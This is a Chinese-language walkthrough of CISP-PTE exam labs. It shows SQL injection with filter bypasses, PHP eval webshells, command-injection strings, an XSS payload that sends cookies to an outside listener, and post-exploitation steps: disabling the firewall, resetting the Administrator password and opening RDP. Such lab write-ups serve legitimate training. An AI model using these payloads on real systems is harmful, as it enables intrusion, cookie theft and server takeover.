前言
最近考cisp-pte ,把八套真题详细做了一遍,侵权的话请联系删除!!!
第一套题目:
34071-34075
第二套题目:
34041-34045
第三套题目:
34031-34035
第四套题目:
34021-34025 34214
第五套题目:
34011-34015
第六套题目:
34051 34061 34213 34223 34224 34234
第一套综合题:
11.1.10.81-86
第二套综合题:
11.1.10.71-76
第一套题目
34071-34075
sql注入
11.1.10.11:34071
点击开始答题,有一篇文章,文章末尾有代码
根据代码,我们猜测是要对uuid这个参数进行注入,并且过滤了#和–两种注释的方法
方法一:sqlmap一把梭,一步一步注入出key1
方法二:手注
由于两种注释方法被过滤了,根据给出的代码,我们尝试使用单引号将最后的单引号进行闭合
尝试 order by '9999
发现页面回显正常,说明order by并没有生效
所以我们跳过order by 直接尝试进行union select
发现页面显示无数据,说明union select被执行了,接下来我们手动判断有几个字段
当输入到6的时候,页面返回正常,并且发现两个回显点为 2 和 3
我们开始查询数据
查询数据库
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',database(),'3','4','5','6
查询表(我这里直接使用了火狐的插件进行构造sql语句,很方便)
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x32776562),'3','4','5','6
查询列
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x49535f4b4559),'3','4','5','6
查询数据
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(haha+SEPARATOR+0x3c62723e)+FROM+2web.IS_KEY),'3','4','5','6
文件上传
直接先上传一个图片马试试
发现上传失败,猜测可能是对内容做了限制,找一个免杀马试试
上传成功,执行一个phpinfo(); 试试
执行成功,说明生效了,直接使用蚁剑连接,找到key
文件包含
我们发现url中输入了hello ,页面请求到的是hello.txt ,说明后端会给page中的参数强制加上一个.txt
面对这种情况,我们尝试使用data协议进行写一个phpinfo试试看能否执行
page=data://text/plan,<?php phpinfo(); ?>
发现data://没了,phpinfo代码也没了,查看源代码,发现phpinfo代码还在,只是没有被执行
我们猜测data://是被替换为空,我们进行双写尝试绕过
page=datdata://a://text/plan,<?php phpinfo(); ?>
成功执行,然后把phpinfo改为一句话木马,使用菜刀连接
在上层目录发现key
反序列化漏洞
打开题目,发现一段php代码,说明考察代码审计
unserialize是PHP的反序列化函数,根据代码含义,我们需要get提交一个str变量,反序列化后等于temp这段字符串
所以我们只需要知道temp这段字符串序列化之后的内容即可
我们手写一个php文件,就可以得到序列化之后的内容了:
<?php
$TEMP = "Whatever is worth doing is worth doing well.";
echo serialize($TEMP)
?>
由于我们考试过程中没有自己的php环境,所以我们在蚁剑中对上一题的目录写入一个php文件,再访问一下:
成功得到序列化之后的内容
使用get方式提交str参数,成功得到key
http://11.1.10.11:34074/start/index.php?str=s:44:"Whatever is worth doing is worth doing well.";
失效的访问控制
访问题目,发现只允许本地访问,直接想到XFF使用IP欺骗
X-Forwarded-For: 127.0.0.1
使用burp抓包,添加xff内容:
放包发现页面显示当前用户为guest,没有权限查看key
然后查看之前的数据包,cookie中存在Username参数,使用base64解码后发现正是Guest,于是我们只需要修改这个Username的值,并且将IsAdmin改为true,应该就可以实现越权了
修改数据包后,成功得到key5:
第二套题目
34041-34045
sql注入
根据题目,答案在 /tmp/360/key 中
进入题目环境,很明显,我们要注入id,并且害给出了当前执行的sql语句
根据给出的sql语句,我们使用 ') 进行闭合,页面无回显内容
使用#进行注释,发现#被过滤了,使用#的url编码%23试试,页面回显正常
使用order by进行查询字段数,发现空格被过滤了,使用/**/代替空格,到5的时候没有回显,说明有4个字段
进行union select查询回显点
发现union被过滤了,尝试大小写绕过和双写绕过
发现使用双写可以成功绕过,234均为回显点
我们使用load_file() 直接读取/tmp/360/key
load_file('/tmp/360/key')
文件上传
上传一个图片马试试,发现上传成功
在burp中改图片马后缀为.pht
发现上传成功,直接使用蚁剑连接找key
文件包含
文件包含的几种方式挨个尝试吧
直接包含,失败
绝对路径,失败
目录穿越,失败
远程包含,失败
data协议写shell,使用蚁剑连接成功
http://11.1.10.11:34043/vulnerabilities/fu1.php?file=data://text/plan,<?php eval($_POST[pass]);?>
或者使用phpfilter查看源码
file=php://filter/read=convert.base64-encode/resource=../key.php
命令执行
127.0.0.1|cat …/key.php
发现cat命令被过滤,问题不大,学了十来种读文件命令了
使用sed直接成功(这个比较好记,哈哈)
127.0.0.1|sed ' ' ../key.php
查看源代码发现key
日志分析
将日志放到自己新建的txt中,使用notepad++进行筛选内容,直接找出所有含有200的行
然后再翻一下,发现了好几个路径,一眼看到存在admin的登录路径
访问后成功进入admin的登录页面,我们尝试进行爆破
成功跑出密码
登录成功后获得key
(也可以使用正则表达式做这个题,下一个日志分析就使用了正则)
第三套题目
34031-34035
SQL注入
有注册用户功能,那我们俩先注册个用户进去看看
有个重置密码的功能点
我们通过注册正常的用户名和测试注入的用户名进行比较
比较发现注入点存在重置密码的地方,但存在注入的参数是用户名,也就是说注入点和回显点不一样
根据重置密码的sql语句进行构造
我们想要重置admin的密码,只需要注册一个admin’# 即可
username = ’ admin’#’
井号会将后面的单引号注释,成功修改admin的密码
文件上传
上传图片马失败,猜测对内容做了过滤,将图片马中的一句话木马改为免杀马,上传成功
修改后缀为.pht ,上传成功
但是访问时发现没有被当成php执行
修改后缀为php,上传成功,并且成功解析了
(我还以为会过滤php的,没想到没过滤)
蚁剑连接发现key
文件包含
尝试了本地包含、目录穿越、远程包含、data协议等多种方法后还是没出来
直接访问一下view.html 看看有没有什么别的东西
查看源代码,果然有东西
接下来就是代码审计了
isset()函数用于检测变量是否已设置并且非 NULL
代码中base64解码出来是一个base64的一句话木马
[@eval(base64_decode($_POST[z0]));]
根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令
先用phpinfo(); 试一下:
发现执行成功
那么直接写个查看key文件的系统命令(记得最后要加分号)
system(‘cat …/key.php’);
在源代码中找到key
代码审计
既然是代码审计,那就直接看代码
如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令
但要注意,exec只会执行命令,不会返回结果
对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html
直接发现key
命令执行
127.0.0.1|ls 失败
127.0.0.1| 失败
看来是直接把管道符给过滤了
我们尝试使用 &&
127.0.0.1 && ls 失败
难道&&也过滤了?
127.0.0.1 && 没有显示失败
说明 && 没有被过滤,是ls被过滤了
127.0.0.1 && pwd 成功
最后发现是过滤了php ,太坑了
使用星号进行匹配,成功得到key
127.0.0.1 && sed ’ ’ …/key.ph*
第四套题目
34021-34025 34214
SQL注入
和第三套题差不多,只不过将admin’# 给注册了,我们在#后面随便加点字符串就行了
注册一个admin’#123 登录后修改的密码就是admin的密码
文件上传
和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接
文件包含
和上套题一样的
直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
日志分析
日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选
(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)
^.*"[A-Z]+ /.*\.php.*" 200
匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉
?!index 表示不匹配index
^.*"[A-Z]+ /(?!(index|manage|footer|upload)).*\.php.*" 200
匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉
/? 表示/可能有可能没有
^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200
正则筛选后就只剩下四条了
我们一眼看到/admin/backdoor.php 的路径,很可疑,访问一下,获得key
命令执行
127.0.0.1|sed ' ' ../key.php
成功获得key
代码审计
34214
对代码进行分析:
<?php
$v1 = 0;
$v2 = 0;
//使用get方法传递一个名为w的参数
//这个参数的内容是一个json格式的数组
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
//这个数组有一个名为bar1的元素
//这个bar1的元素的内容,不能是数字
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
//这个bar1的元素的内容,不能是0、空、false
if (@$a["bar1"]) {
//这个bar1的元素的内容,要大于2020
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
"bar1":"8023x"
//bar2元素的内容是一个数组
if (is_array(@$a["bar2"])) {
//Bar2元素数组内容的个数是5
//bar2元素数组中第0个元素是数组
if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
die("nope");
}
"bar2":[[0],1,2,3,4]
//bar3元素也是一个数组
$pos = array_search("cisp-pte", $a["bar3"]);
//bar3元素里一定有一个cisp-pte的元素
$pos === false ? die("nope") : NULL;
"bar3":["cisp-pte"]
//bar2数组种不能有元素的内容是cisp-pte
foreach ($a["bar2"] as $key => $val) {
$val == "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
//v1和v2都为真(非0、非空、非false)时,输出本题答案
if ($v1 && $v2) {
include "key.php";
echo $key;
}
highlight_file(__file__);
//构造的json数据如下:
{"bar1":"8023x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}
第五套题目
sql注入:我是差不多先生
11.1.10.11:34011
发现注册功能,注册一个test账号,进入后发现可以发表文章,在发表文章处使用多种闭合字符进行测试:
发现发布失败,使用title进行测试,依然失败,说明两个输入点多半都是注入点
使用burp进行抓包,
尝试构造一下sql语句,猜测sql语句为:
insert into aritcles(title,content) values('tit','con')
由于不同用户提交的文章是相互独立的,所以很可能有个user参数
insert into aritcles(title,content,user) values('tit','con','test')
这说明sql语句至少有这三个参数,可能会更多
在火狐浏览器中尝试使用 ')# 进行闭合
失败了,根据之前构造的sql语句,判断可能是由于参数不够导致列数不一致。
(因为#会将后面的内容注释掉,如果content参数后面还有参数就会被注释,导致列数不一致)
于是我们在content参数后面加上一个空值试试,发现成功了,说明content后面还有一个参数
虽然上面提交成功了,但是文章页面并没有我们发布的文章,说明最后一个字段可能是user字段,用来判断文章是谁发布的。
我们将之前加的空字段改为自己的用户名test1:
查看文章页面,发现文章发表成功了,说明我们的猜测是正确的,并且确定了sql语句中最后一个字段一定是用户名的,倒数第二个字段一定是content
为了判断倒数第三个字段是不是title,我们可以在title处进行构造闭合,看结果是否成功
title=123','123','test')#&content=test
文章发布成功,说明title确定为倒数第三个参数。
开始注入:
在content处使用database()进行查询数据库名
title=123',(database()),'test')#&content=test
查询出当前数据库名为 2web
然后使用sql查询语句查询表名
select group_concat(table_name) from information_schema.tables where table_schema='2web'
title=123',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'test')#&content=test
执行后发现失败了,可能存在一些过滤规则
使用大小写绕过和/**/绕过空格进行尝试
SElect/**/group_concat(table_name)/**/FRom/**/information_schema.tables/**/WHere/**/table_schema='2web'
绕过后发布成功,在文章处查看结果
查询出了三个表,根据题目所说,key是admin的密码,所以我们应该进一步查询users1表的内容,继续构造sql查询语句:
SElect/**/group_concat(column_name)/**/FRom/**/information_schema.columns/**/WHere/**/table_name='users1'
成功查询出两个列名,接下来我们直接查询password中admin所对应的值就行
SElect/**/group_concat(password)/**/FRom/**/users1/**/WHere/**/username='admin'
成功
扩展一下:如果#等注释字符被过滤的话该怎么办?
insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (’ 进行闭合
title=123','123','test'),('&content=test
发现失败了,失败的原因是什么呢?
我们之前使用的注释,只需要考虑从后往前的参数,不用考虑title前面有没有参数,现在注释不了了,就要考虑title前面是不是还有参数,我们假设title前面还有一个参数,我们在后面的括号中构造一个空值:
title=123','123','test'),(' ','&content=test
发现成功了,说明title之前确实还有一个参数,一共有四个参数。
sql语句应为:
insert into aritcles(xxx,title,content,user) values('x','title1','content1','user'),('x','title2','content2','user')
相当于一次发表两个文章,我们在title处填写
title1','content1','user'),('x','title2
相当于post提交:
title=title1','content1','test'),('x','title2&content=content2
成功发布了两篇文章。而且没有使用注释符号。
使用火狐中的插件更加方便,可以直接生成查询的payload:
(注意:使用post提交数据时,要将生成的payload中的+给换成空格)
文件上传
11.1.10.11:34012
上传正常一句话木马的图片马,发现上传失败
猜测可能对内容进行检测了
换一个免杀马,发现上传成功
后缀改为.pht 上传成功
尝试执行phpinfo(); ,成功!
使用蚁剑进行连接,在html目录下发现key.php,得到key
或者使用命令直接查询key.php文件
先ls看下key.php在哪个目录
查看源代码,发现key2
文件包含
url为:http://11.1.10.11:34013/vulnerabilities/fu1.php?file=view.html
因为包含了view.html ,我们直接访问这个html文件:
http://11.1.10.11:34013/vulnerabilities/view.html
查看源代码:
将base64内容放入txt中,使用notepad++进行解码
[@eval(base64_decode($_POST[z0]));]
接下来就是代码审计了
使用post方式提交一个Hello参数的值并赋给a
isset()函数用于检测变量是否已设置并且非 NULL
使用if判断a是否为空,不为空就执行下面的
preg_replace 函数,执行一个正则表达式的搜索和替换,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行
所以通过z0可以执行命令,z0的值需要使用base编码
注意:提交参数时需要再一开始的题目页面进行提交
Hello=1&z0=system('cat ../key.php');
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
查看元素,发现key3
命令执行
127.0.0.1| sed ‘’ …/key.php 或者
127.0.0.1| grep ‘’ …/key.php
(注意sed和grep后面是两个单引号,不能用双引号)
验证码爆破
删除验证码和cookie,直接爆破即可
使用密码登录后获得key5
第六套题目
34051 34061 34213 34223 34224 34234
sql注入
这题考察万能密码,使用
admin '='
成功登录,获得key
或者在密码处使用
'Or '1'='1
使用这个万能密码可以绕过用户名,不管用户名是不是admin都可以登录成功
原理如下:
sql注入
还是sql注入
根据sql语句提示,使用’)进行闭合,#被过滤了,使用–+进行注释
order by查询字段,发现有7个字段
union select 查询字段回显,发现union没了
使用双写绕过成功
使用load_file()查看key
XSS漏洞
做题思路是写个xss代码获取admin的cookie
<script>document.write('<img src="http://11.1.12.132:8023?' + document.cookie + '" />');</script>
nc开启监听:
nc -l -p 8023
看到PhantomJS就说明获取到了admin的key(仅限考试中作为参考)
使用火狐中的插件修改cookie
修改后访问admin页面,成功获得key
文件包含
34223
我们发现page后面的参数是hell,下面输出的是hello.txt,我们将page改为hello.txt试试
发现下面变成了hello.txt.txt,这说明系统会强制给page的参数最后加上.txt
这种情况我们尝试使用data协议进行绕过
phpinfo改成一句话木马:
http://11.1.10.11:34223/start/index.php?page=data://text/plan,<?php @eval($_POST["x"]);?>
蚁剑连接
或者使用远程包含也行
XSS漏洞
还是这段代码,需要背会!!!
<script>document.write('<img src="http://11.1.12.132:6789/?' + document.cookie + '"/>');</script>
代码审计
strtolower用于将字符串转换为小写字母
我们构造出语句进行闭合:
$o=strtolower(" ");
");system("ls
我们发现ls被成功执行了
然后就是查看key4.php
$o=strtolower(" ");
");system("cat key4.php
综合题一
11.1.10.81-86
使用nmap进行扫描端口
nmap -p 1-65535 -T4 -A -v -Pn 11.1.10.81
扫描到了125端口
访问url,发现弹出一个窗口,说username is admin
我们尝试进行爆破密码
使用burp进行抓包
这段base64就是用户名密码的地方,我们进行解码
发现了格式为用户名冒号密码
然后我们进行爆破
使用自定义payload ,Custom iterator
第一个字段输入admin,下面的分隔填写分号
第二个字段选择我们的密码字典,不用填分隔符
添加base64编码
开始攻击,成功爆破出密码
使用密码进行登录,发现一个系统
查看源码看看有没有什么内容
发现注释里说这是静态页面,我们当然要试试才能相信,使用burp尝试抓登录的包,确实没有抓到数据包,说明这确实是静态页面
那么我们使用burp进行目录扫描,注意直接使用工具进行扫描没有我们的登录信息,所以扫描不到
选择这三个字典,并将url编码取消
扫出了三个200的状态码,我们在robots.txt中发现了key6
接下来我们去看看另外两个路径
/news/ 是一个留言系统
/images/ 就是几张图片,看来突破口就在留言系统上
我们先继续对/news/路径进行目录和文件的扫描
发现/phpmyadmin/路径,访问一下看看
发现没有设置密码,直接访问成功了
这里我们想要登录进这个系统有两种方法:
1.进行爆破密码
2.在phpmyadmin中直接修改admin用户的密码
这里我们都尝试一下:
1.进行爆破密码
虽然有验证码,但我们可以通过删除验证码和cookie的方式进行绕过验证码,成功爆破出admin的密码是admin
2.在phpmyadmin中直接修改admin用户的密码
通过在phpmyadmin中查找,找到了admin密码所在
看着应该是md5加密,注意 ,在考试中有以下几种加密方式,一个一个试就行:
md5 md5(md5) sha1 sha1(sha1)
像这个密码,我们使用md5爆破工具爆破不出来,一个不是单纯的md5
我们猜测是两次md5
我们在修改数据之前,一定要记得先把原来的数据在txt中保存一下,防止环境出问题了还原不了
我们将现在的密码保存一下,然后再进行修改
我这里将密码改为123456,然后进行两次md5编码
然后我们在系统登录页面使用修改后的密码进行登录
admin 123456
登录成功,并且发现了系统路径,先记着,之后可能会用上
接下来我们要想办法获取shell
我们现在可以访问phpmyadmin,还知道系统路径,所以我们采用sql语句写shell的方式写一个shell上去
SELECT '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php'
使用蚁剑进行连接:
发现连接失败,突然想起来这个url是需要认证的,所以需要我们在蚁剑添加认证的参数:
连接成功,在目录中发现key7
最后一个key在桌面,所以需要我们进行远程桌面连接。
有三个条件:
1.开启3389端口
2.关闭防火墙
3.知道Administrator用户密码
开启端口我们可以使用工具中开启3389的bat脚本进行开启,将3389.bat通过蚁剑上传上去,使用终端进行运行
关闭防火墙我们使用蚁剑开启终端敲命令关闭即可
netsh firewall set opmode disable
在终端使用net命令修改密码
net user Administrator Xx1234..
然后使用远程桌面
mstsc
成功登录,在回收站的名字发现key8
综合题二
11.1.10.71-76
还是先扫描端口
我们选择扫描11.1.10.73
发现只扫描出了80端口,那我们直接访问,发现需要登录认证
这里和综合题一的方法一样,使用burp爆破
进入后直接发现key6
然后这还是一个登录的页面,我们依然使用burp进行爆破
进入后发现存在图片上传的地方,那么直接尝试进行上传shell
上传shell1.php
使用phpinfo测试成功
使用蚁剑进行连接,记得添加认证信息
连接后在www目录下找到key7
最后一个key在桌面,于是我们重复之前的操作
1.开始3389
2.关闭防火墙
3.修改Administrator密码
使用远程桌面连接
mstsc
在回收站中发现key8